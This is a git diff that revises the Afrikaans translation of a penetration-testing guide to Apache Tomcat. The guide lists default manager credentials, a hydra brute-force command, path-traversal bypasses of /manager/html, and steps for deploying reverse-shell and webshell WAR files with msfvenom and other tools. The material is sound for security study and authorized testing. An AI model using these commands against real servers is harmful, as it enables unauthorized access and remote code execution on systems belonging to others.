diff --git a/network-services-pentesting/pentesting-web/tomcat/README.md b/network-services-pentesting/pentesting-web/tomcat/README.md
index 4a2b0e341..8e4b4b70a 100644
--- a/network-services-pentesting/pentesting-web/tomcat/README.md
+++ b/network-services-pentesting/pentesting-web/tomcat/README.md
@@ -4,9 +4,9 @@
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
-* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
+* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
-* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
+* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
@@ -29,7 +29,7 @@
## Enumerasie
-### **Identifikasie van Weergawe**
+### **Weergawe-identifikasie**
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer word:
```bash
@@ -47,7 +47,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
```
### **Verstek Wagwoorde**
-Die **`/bestuurder/html`** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids word beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
+Die **`/manager/html`** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids word beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
* admin:admin
* tomcat:tomcat
@@ -56,21 +56,21 @@ Die **`/bestuurder/html`** gids is veral sensitief omdat dit die oplaai en imple
* tomcat:s3cr3t
* admin:tomcat
-Hierdie wagwoorde kan getoets word met:
+Hierdie wagwoorde kan getoets word met behulp van:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
-'n Ander opmerklike gids is **`/manager/status`**, wat die Tomcat en OS weergawe vertoon, wat help met die identifisering van kwesbaarhede.
+'n Ander opmerklike gids is **`/manager/status`**, wat die Tomcat- en OS-weergawe vertoon, wat help met die identifisering van kwesbaarhede.
-### **Brute Force Aanval**
+### **Brute Force-aanval**
-Om 'n brute force aanval op die bestuursgids te probeer, kan 'n mens gebruik:
+Om 'n brute force-aanval op die bestuursgids te probeer, kan mens gebruik:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Algemene Kwesbaarhede
-### **Wagwoord Terugsporing Bekendmaking**
+### **Wagwoord Terugsporing Blootstelling**
Toegang tot `/auth.jsp` kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.
@@ -82,7 +82,7 @@ Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%2
### /voorbeelde
-Apache Tomcat-weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingbekendmaking en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
+Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtingsblootstelling en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /voorbeelde/jsp/num/numguess.jsp
* /voorbeelde/jsp/dates/date.jsp
@@ -109,11 +109,11 @@ Apache Tomcat-weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir
### **Padtraversal-uitbuiting**
-In sommige [**kwesbare opsette van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang kry tot beskermde gids in Tomcat deur die pad: `/..;/`
+In sommige [**kwesbare opsette van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang tot beskermde gids in Tomcat verkry deur die pad: `/..;/`
-Dus, byvoorbeeld, kan jy **toegang tot die Tomcat-bestuurder**-bladsy verkry deur toegang te verkry tot: `www.vulnerable.com/lalala/..;/manager/html`
+Dus, byvoorbeeld, kan jy moontlik **die Tomcat-bestuurder**-bladsy toegang deur te gaan na: `www.vulnerable.com/lalala/..;/manager/html`
-**'n Ander manier** om beskermde paaie te omseil deur hierdie truuk te gebruik, is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html`
+**'n Ander manier** om beskermde paaie te verby te gaan deur hierdie truuk te gebruik, is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html`
## RCE
@@ -144,7 +144,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
1. Skep die oorlog om te ontplooi:
```bash
-msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
+msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
2. Laai die `revshell.war` lêer op en kry toegang daartoe (`/revshell/`):
@@ -156,7 +156,7 @@ In sommige scenarios werk dit nie (byvoorbeeld ou weergawes van sun)
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
-#### Terugskulpunt
+#### Omgekeerde dopshell
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
@@ -201,8 +201,6 @@ jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
-Jy kan ook hierdie installeer (laat oplaai, aflaai en beveluitvoering toe): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
-
### Handleiding Metode 2
Kry 'n JSP-webshell soos [hierdie](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) en skep 'n WAR-lêer:
@@ -240,12 +238,12 @@ msf> use post/windows/gather/enum_tomcat
-Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
+Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
* Werk jy in 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Deel jou hak truuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+* **Deel jou haktruuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).